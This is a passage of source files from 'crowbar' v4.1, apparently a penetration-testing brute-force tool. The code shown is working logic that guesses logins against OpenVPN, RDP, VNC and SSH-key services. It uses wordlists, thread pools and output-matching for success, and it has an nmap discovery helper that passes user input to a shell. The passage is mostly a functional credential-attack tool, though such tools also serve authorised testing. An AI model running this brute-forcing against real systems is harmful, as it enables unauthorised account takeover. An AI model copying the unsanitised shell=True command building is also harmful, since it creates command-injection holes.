%s" % os.path.abspath(self.args.output)) 201 | self.logger.output_file(" Log File: %s" % os.path.abspath(self.args.log_file)) 202 | self.logger.output_file(" Discover Mode: %s" % self.args.discover) 203 | self.logger.output_file(" Verbose Mode: %s" % self.args.verbose) 204 | self.logger.output_file(" Debug Mode: %s" % self.args.debug) 205 | 206 | def openvpnlogin(self, ip, username, password, brute_file, port): 207 | brute_file_name = brute_file.name 208 | brute_file.seek(0) 209 | 210 | openvpn_cmd = "%s --remote %s %s --auth-user-pass %s --tls-exit --connect-retry-max 0 --config %s" % ( 211 | self.openvpn_path, ip, port, brute_file_name, self.args.config) 212 | 213 | if self.args.verbose == 2: 214 | self.logger.output_file("CMD: %s" % openvpn_cmd) 215 | 216 | proc = subprocess.Popen(shlex.split(openvpn_cmd), shell=False, stdout=subprocess.PIPE, stderr=subprocess.STDOUT) 217 | 218 | brute = "LOG-OPENVPN: " + ip + ":" + str(port) + " - " + username + ":" + password + " - " + brute_file_name 219 | self.logger.log_file(brute) 220 | 221 | # For every line out 222 | for line in proc.stdout: 223 | # Is debug enabled 224 | if self.args.debug: 225 | self.logger.output_file(line.decode("utf-8").rstrip()) 226 | 227 | # Success 228 | if re.search(self.vpn_success, str(line)): 229 | result = bcolors.OKGREEN + "OPENVPN-SUCCESS: " + bcolors.ENDC + bcolors.OKBLUE + ip + ":" + str( 230 | port) + " - " + username + ":" + password + bcolors.ENDC 231 | self.logger.output_file(result) 232 | Main.is_success = 1 233 | os.kill(proc.pid, signal.SIGQUIT) 234 | # Errors 235 | elif re.search(self.vpn_error_in_use, str(line)): 236 | mess = "Already connected to a VPN" 237 | raise CrowbarExceptions(mess) 238 | brute_file.close() 239 | 240 | def openvpn(self): 241 | port = 443 # TCP 443, TCP 943, UDP 1194 242 | 243 | if not 'SUDO_UID' in os.environ.keys(): 244 | mess = "OpenVPN requires super user privileges" 245 | raise CrowbarExceptions(mess) 246 | 247 | if not os.path.exists(self.openvpn_path): 248 | mess = "openvpn: %s path doesn't exists on the system" % os.path.abspath(self.openvpn_path) 249 | raise CrowbarExceptions(mess) 250 | 251 | if self.args.port is not None: 252 | port = self.args.port 253 | 254 | if self.args.discover: 255 | if not self.args.quiet: 256 | self.logger.output_file("Discovery mode - port scanning: %s" % self.args.server) 257 | self.ip_list = self.nmap.port_scan(self.args.server, port) 258 | 259 | try: 260 | pool = ThreadPool(int(self.args.thread)) 261 | except Exception as err: 262 | raise CrowbarExceptions(str(err)) 263 | 264 | for config_line in open(self.args.config, "r"): 265 | if re.search(self.vpn_remote_regex, config_line): 266 | raise CrowbarExceptions(self.vpn_warning) 267 | 268 | if self.args.username_file: 269 | if not os.path.exists(self.args.username_file): 270 | mess = "File: %s doesn't exists ~ %s" % os.path.abspath(self.args.username_file) 271 | raise CrowbarExceptions(mess) 272 | 273 | if self.args.passwd_file: 274 | if not os.path.exists(self.args.passwd_file): 275 | mess = "File: %s doesn't exists ~ %s" % os.path.abspath(self.args.passwd_file) 276 | raise CrowbarExceptions(mess) 277 | 278 | for ip in self.ip_list: 279 | if not self.args.quiet: 280 | self.logger.output_file("Trying %s:%s" % (ip, port)) 281 | 282 | if self.args.username_file: 283 | try: 284 | userfile = open(self.args.username_file, "r").read().splitlines() 285 | except Exception as err: 286 | mess = "Error: %s" % err 287 | raise CrowbarExceptions(mess) 288 | 289 | for user in userfile: 290 | if self.args.passwd_file: 291 | try: 292 | passwdfile = open(self.args.passwd_file, "r").read().splitlines() 293 | except Exception as err: 294 | mess = "Error: %s" % err 295 | raise CrowbarExceptions(mess) 296 | 297 | for password in passwdfile: 298 | brute_file = tempfile.NamedTemporaryFile(mode='w+t') 299 | brute_file.write(user + "\n") 300 | brute_file.write(password + "\n") 301 | pool.add_task(self.openvpnlogin, ip, user, password, brute_file, port) 302 | else: 303 | brute_file = tempfile.NamedTemporaryFile(mode='w+t') 304 | brute_file.write(user + "\n") 305 | brute_file.write(self.args.passwd + "\n") 306 | pool.add_task(self.openvpnlogin, ip, user, self.args.passwd, brute_file, port) 307 | else: 308 | if self.args.passwd_file: 309 | try: 310 | passwdfile = open(self.args.passwd_file, "r").read().splitlines() 311 | except Exception as err: 312 | mess = "Error: %s" % err 313 | raise CrowbarExceptions(mess) 314 | 315 | for password in passwdfile: 316 | brute_file = tempfile.NamedTemporaryFile(mode='w+t') 317 | brute_file.write(self.args.username + "\n") 318 | brute_file.write(password + "\n") 319 | pool.add_task(self.openvpnlogin, ip, self.args.username, password, brute_file, port) 320 | else: 321 | brute_file = tempfile.NamedTemporaryFile(mode='w+t') 322 | brute_file.write(self.args.username + "\n") 323 | brute_file.write(self.args.passwd + "\n") 324 | pool.add_task(self.openvpnlogin, ip, self.args.username, self.args.passwd, brute_file, port) 325 | pool.wait_completion() 326 | 327 | def vnclogin(self, ip, port, keyfile): 328 | vnc_cmd = "%s -passwd %s %s:%s" % (self.vncviewer_path, keyfile, ip, port) 329 | 330 | if self.args.verbose == 2: 331 | self.logger.output_file("CMD: %s" % vnc_cmd) 332 | 333 | proc = subprocess.Popen(shlex.split(vnc_cmd), shell=False, stdout=subprocess.PIPE, stderr=subprocess.STDOUT) 334 | 335 | brute = "LOG-VNC: " + ip + ":" + str(port) + " - " + keyfile 336 | self.logger.log_file(brute) 337 | 338 | # For every line out 339 | for line in proc.stdout: 340 | # Is debug enabled 341 | if self.args.debug: 342 | self.logger.output_file(line.decode("utf-8").rstrip()) 343 | 344 | if re.search(self.vnc_success, str(line)): 345 | os.kill(proc.pid, signal.SIGQUIT) 346 | result = bcolors.OKGREEN + "VNC-SUCCESS: " + bcolors.ENDC + bcolors.OKBLUE + ip + ":" + str( 347 | port) + " - " + keyfile + bcolors.ENDC 348 | self.logger.output_file(result) 349 | Main.is_success = 1 350 | break 351 | 352 | def vnckey(self, *options): 353 | port = 5901 354 | 355 | if not os.path.exists(self.vncviewer_path): 356 | mess = "vncviewer: %s path doesn't exists on the system" % os.path.abspath(self.vncviewer_path) 357 | raise CrowbarExceptions(mess) 358 | 359 | if self.args.port is not None: 360 | port = self.args.port 361 | 362 | if self.args.discover: 363 | if not self.args.quiet: 364 | self.logger.output_file("Discovery mode - port scanning: %s" % self.args.server) 365 | self.ip_list = self.nmap.port_scan(self.args.server, port) 366 | 367 | if not os.path.isfile(self.args.key_file): 368 | mess = "Key file: \"%s\" doesn't exists" % os.path.abspath(self.args.key_file) 369 | raise CrowbarExceptions(mess) 370 | 371 | try: 372 | pool = ThreadPool(int(self.args.thread)) 373 | except Exception as err: 374 | raise CrowbarExceptions(str(err)) 375 | 376 | for ip in self.ip_list: 377 | if not self.args.quiet: 378 | self.logger.output_file("Trying %s:%s" % (ip, port)) 379 | pool.add_task(self.vnclogin, ip, port, self.args.key_file) 380 | pool.wait_completion() 381 | 382 | def rdplogin(self, ip, user, password, port): 383 | # Could look into using: -grab-keyboard -mouse-motion -wallpaper -themes 384 | rdp_cmd = "%s /v:%s /port:%s /u:%s /p:%s /cert-ignore -clipboard +auth-only " % ( 385 | self.xfreerdp_path, ip, port, user, password) 386 | 387 | if self.args.verbose == 2: 388 | self.logger.output_file("CMD: %s" % rdp_cmd) 389 | 390 | # stderr to stdout 391 | proc = subprocess.Popen(shlex.split(rdp_cmd), shell=False, stdout=subprocess.PIPE, stderr=subprocess.STDOUT) 392 | 393 | brute = "LOG-RDP: " + ip + ":" + str(port) + " - " + user + ":" + password 394 | self.logger.log_file(brute) 395 | 396 | # For every line out 397 | for line in proc.stdout: 398 | # Is debug enabled 399 | if self.args.debug: 400 | self.logger.output_file(line.decode("utf-8").rstrip()) 401 | 402 | # Success 403 | if re.search(self.rdp_success, str(line)): 404 | result = bcolors.OKGREEN + "RDP-SUCCESS : " + bcolors.ENDC + bcolors.OKBLUE + ip + ":" + str( 405 | port) + " - " + user + ":" + password + bcolors.ENDC 406 | self.logger.output_file(result) 407 | Main.is_success = 1 408 | break 409 | elif re.search(self.rdp_success_ins_priv, str(line)): 410 | result = bcolors.OKGREEN + "RDP-SUCCESS (INSUFFICIENT PRIVILEGES) : " + bcolors.ENDC + bcolors.OKBLUE + ip + ":" + str( 411 | port) + " - " + user + ":" + password + bcolors.ENDC 412 | self.logger.output_file(result) 413 | Main.is_success = 1 414 | break 415 | elif re.search(self.rdp_success_account_locked, str(line)): 416 | result = bcolors.OKGREEN + "RDP-SUCCESS (ACCOUNT_LOCKED_OR_PASSWORD_EXPIRED) : " + bcolors.ENDC + bcolors.OKBLUE + ip + ":" + str( 417 | port) + " - " + user + ":" + password + bcolors.ENDC 418 | self.logger.output_file(result) 419 | Main.is_success = 1 420 | break 421 | # Errors 422 | elif re.search(self.rdp_error_display, str(line)): 423 | mess = "Please check \$DISPLAY is properly set. See README.md %s" % self.crowbar_readme 424 | raise CrowbarExceptions(mess) 425 | elif re.search(self.rdp_error_host_down, str(line)): 426 | mess = "Host isn't up" 427 | raise CrowbarExceptions(mess) 428 | 429 | def rdp(self): 430 | port = 3389 431 | 432 | if not os.path.exists(self.xfreerdp_path): 433 | mess = "xfreerdp: %s path doesn't exists on the system" % os.path.abspath(self.xfreerdp_path) 434 | raise CrowbarExceptions(mess) 435 | 436 | if self.args.port is not None: 437 | port = self.args.port 438 | 439 | if self.args.discover: 440 | if not self.args.quiet: 441 | self.logger.output_file("Discovery mode - port scanning: %s" % self.args.server) 442 | self.ip_list = self.nmap.port_scan(self.args.server, port) 443 | 444 | try: 445 | pool = ThreadPool(int(self.args.thread)) 446 | except Exception as err: 447 | raise CrowbarExceptions(str(err)) 448 | 449 | if self.args.username_file: 450 | if not os.path.exists(self.args.username_file): 451 | mess = "File: %s doesn't exists ~ %s" % os.path.abspath(self.args.username_file) 452 | raise CrowbarExceptions(mess) 453 | 454 | if self.args.passwd_file: 455 | if not os.path.exists(self.args.passwd_file): 456 | mess = "File: %s doesn't exists ~ %s" % os.path.abspath(self.args.passwd_file) 457 | raise CrowbarExceptions(mess) 458 | 459 | for ip in self.ip_list: 460 | if not self.args.quiet: 461 | self.logger.output_file("Trying %s:%s" % (ip, port)) 462 | 463 | if self.args.username_file: 464 | try: 465 | userfile = open(self.args.username_file, "r").read().splitlines() 466 | except Exception as err: 467 | mess = "Error: %s" % err 468 | raise CrowbarExceptions(mess) 469 | 470 | for user in userfile: 471 | if ' ' in user: 472 | user = '"' + user + '"' 473 | 474 | if self.args.passwd_file: 475 | try: 476 | passwdfile = open(self.args.passwd_file, "r").read().splitlines() 477 | except Exception as err: 478 | mess = "Error: %s" % err 479 | raise CrowbarExceptions(mess) 480 | 481 | for password in passwdfile: 482 | pool.add_task(self.rdplogin, ip, user, password, port) 483 | else: 484 | pool.add_task(self.rdplogin, ip, user, self.args.passwd, port) 485 | else: 486 | if self.args.passwd_file: 487 | try: 488 | passwdfile = open(self.args.passwd_file, "r").read().splitlines() 489 | except Exception as err: 490 | mess = "Error: %s" % err 491 | raise CrowbarExceptions(mess) 492 | 493 | for password in passwdfile: 494 | pool.add_task(self.rdplogin, ip, self.args.username, password, port) 495 | else: 496 | pool.add_task(self.rdplogin, ip, self.args.username, self.args.passwd, port) 497 | pool.wait_completion() 498 | 499 | def sshlogin(self, ip, port, user, keyfile, timeout): 500 | try: 501 | ssh = paramiko.SSHClient() 502 | paramiko.util.log_to_file("/dev/null") 503 | ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy()) 504 | except: 505 | pass 506 | else: 507 | brute = "LOG-SSH: " + ip + ":" + str(port) + " - " + user + ":" + keyfile + ":" + str(timeout) 508 | self.logger.log_file(brute) 509 | 510 | try: 511 | ssh.connect(ip, port, username=user, password=None, pkey=None, key_filename=keyfile, timeout=timeout, 512 | allow_agent=False, look_for_keys=False) 513 | result = bcolors.OKGREEN + "SSH-SUCCESS: " + bcolors.ENDC + bcolors.OKBLUE + ip + ":" + str( 514 | port) + " - " + user + ":" + keyfile + bcolors.ENDC 515 | self.logger.output_file(result) 516 | Main.is_success = 1 517 | except: 518 | pass 519 | 520 | def sshkey(self): 521 | port = 22 522 | 523 | if self.args.port is not None: 524 | port = self.args.port 525 | 526 | if self.args.discover: 527 | if not self.args.quiet: 528 | self.logger.output_file("Discovery mode - port scanning: %s" % self.args.server) 529 | self.ip_list = self.nmap.port_scan(self.args.server, port) 530 | 531 | try: 532 | pool = ThreadPool(self.args.thread) 533 | except Exception as err: 534 | raise CrowbarExceptions(str(err)) 535 | 536 | if self.args.username_file: 537 | if not os.path.exists(self.args.username_file): 538 | mess = "File: %s doesn't exists ~ %s" % os.path.abspath(self.args.username_file) 539 | raise CrowbarExceptions(mess) 540 | 541 | if not os.path.exists(self.args.key_file): 542 | mess = "Key file/folder: \"%s\" doesn't exists" % os.path.abspath(self.args.key_file) 543 | raise CrowbarExceptions(mess) 544 | 545 | for ip in self.ip_list: 546 | if not self.args.quiet: 547 | self.logger.output_file("Trying %s:%s" % (ip, port)) 548 | 549 | if self.args.username_file: 550 | try: 551 | userfile = open(self.args.username_file, "r").read().splitlines() 552 | except Exception as err: 553 | mess = "Error: %s" % err 554 | raise CrowbarExceptions(mess) 555 | 556 | for user in userfile: 557 | if os.path.isdir(self.args.key_file): 558 | for dirname, dirnames, filenames in os.walk(self.args.key_file): 559 | for keyfile in filenames: 560 | keyfile_path = self.args.key_file + "/" + keyfile 561 | if keyfile.endswith('.pub', 4): 562 | self.logger.output_file("LOG-SSH: Skipping Public Key - %s" % keyfile_path) 563 | continue 564 | pool.add_task(self.sshlogin, ip, port, user, keyfile_path, self.args.timeout) 565 | else: 566 | pool.add_task(self.sshlogin, ip, port, user, self.args.key_file, self.args.timeout) 567 | else: 568 | if os.path.isdir(self.args.key_file): 569 | for dirname, dirnames, filenames in os.walk(self.args.key_file): 570 | for keyfile in filenames: 571 | keyfile_path = dirname + "/" + keyfile 572 | if keyfile.endswith('.pub', 4): 573 | self.logger.output_file("LOG-SSH: Skipping Public Key - %s" % keyfile_path) 574 | continue 575 | pool.add_task(self.sshlogin, ip, port, self.args.username, keyfile_path, self.args.timeout) 576 | else: 577 | pool.add_task(self.sshlogin, ip, port, self.args.username, self.args.key_file, self.args.timeout) 578 | pool.wait_completion() 579 | 580 | def run(self, brute_type): 581 | signal.signal(signal.SIGINT, self.signal_handler) 582 | 583 | if not brute_type in self.services.keys(): 584 | mess = "%s is not a valid service. Please select: %s" % (brute_type, self.services.keys()) 585 | raise CrowbarExceptions(mess) 586 | else: 587 | self.services[brute_type]() 588 | self.logger.output_file("STOP") 589 | 590 | if Main.is_success == 0: 591 | self.logger.output_file("No results found...") 592 | 593 | def signal_handler(self, signal, frame): 594 | raise CrowbarExceptions("\nExiting...") 595 | -------------------------------------------------------------------------------- /lib/nmap.py: -------------------------------------------------------------------------------- 1 | try: 2 | import re 3 | import os 4 | import sys 5 | import tempfile 6 | import subprocess 7 | from lib.core.exceptions import CrowbarExceptions 8 | except Exception as err: 9 | from lib.core.exceptions import CrowbarExceptions 10 | 11 | raise CrowbarExceptions(str(err)) 12 | 13 | 14 | class Nmap: 15 | def __init__(self): 16 | self.nmap_path = "/usr/bin/nmap" 17 | self.lib = True 18 | 19 | if not os.path.exists(self.nmap_path): 20 | mess = "File: %s doesn't exists!" % self.nmap_path 21 | raise CrowbarExceptions(mess) 22 | 23 | def port_scan(self, ip_list, port): 24 | result = [] 25 | ip = [] 26 | open_port = re.compile("Host:\s([0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3})\s\(\)\s+Ports:\s+%s" % port) 27 | 28 | tmpfile = tempfile.NamedTemporaryFile(mode='w+t') 29 | tmpfile_name = tmpfile.name 30 | 31 | if os.geteuid() != 0: 32 | nmap_scan_type = "-sT" 33 | else: 34 | nmap_scan_type = "-sS" 35 | 36 | nmap_scan_option = "-n -Pn -T4 %s --open -p %s --host-timeout=10m --max-rtt-timeout=600ms --initial-rtt-timeout=300ms --min-rtt-timeout=300ms --max-retries=2 --min-rate=150 -oG %s" % ( 37 | nmap_scan_type, port, tmpfile_name) 38 | 39 | if self.lib: 40 | nmap_scan_option = "%s %s" % ( 41 | ip_list, nmap_scan_option) 42 | run_nmap = "%s %s" % (self.nmap_path, nmap_scan_option) 43 | proc = subprocess.Popen([run_nmap], shell=True, stdout=subprocess.PIPE, ) 44 | stdout_value = str(proc.communicate()) 45 | else: 46 | nm = nmap.PortScanner() 47 | nm.scan(hosts=ip_list, 48 | arguments=nmap_scan_option) 49 | 50 | try: 51 | for line in open(tmpfile_name, "r"): 52 | if re.search(open_port, line): 53 | ip = line[:-1].split(" ")[1] 54 | result.append(ip) 55 | return result 56 | except Exception as err: 57 | raise CrowbarExceptions(str(err)) 58 | -------------------------------------------------------------------------------- /requirements.txt: -------------------------------------------------------------------------------- 1 | paramiko==2.7.1 2 | -------------------------------------------------------------------------------- /setup.py: -------------------------------------------------------------------------------- 1 | from setuptools import find_packages, setup 2 | 3 | setup( 4 | name='crowbar', 5 | version='4.1', 6 | entry_points={ 7 | 'console_scripts': [ 8 | 'crowbar = lib.main:main', 9 | ], 10 | }, 11 | install_requires=[ 12 | 'paramiko', 13 | ], 14 | packages=find_packages(), 15 | python_requires='>=3.6', 16 | ) 17 | --------------------------------------------------------------------------------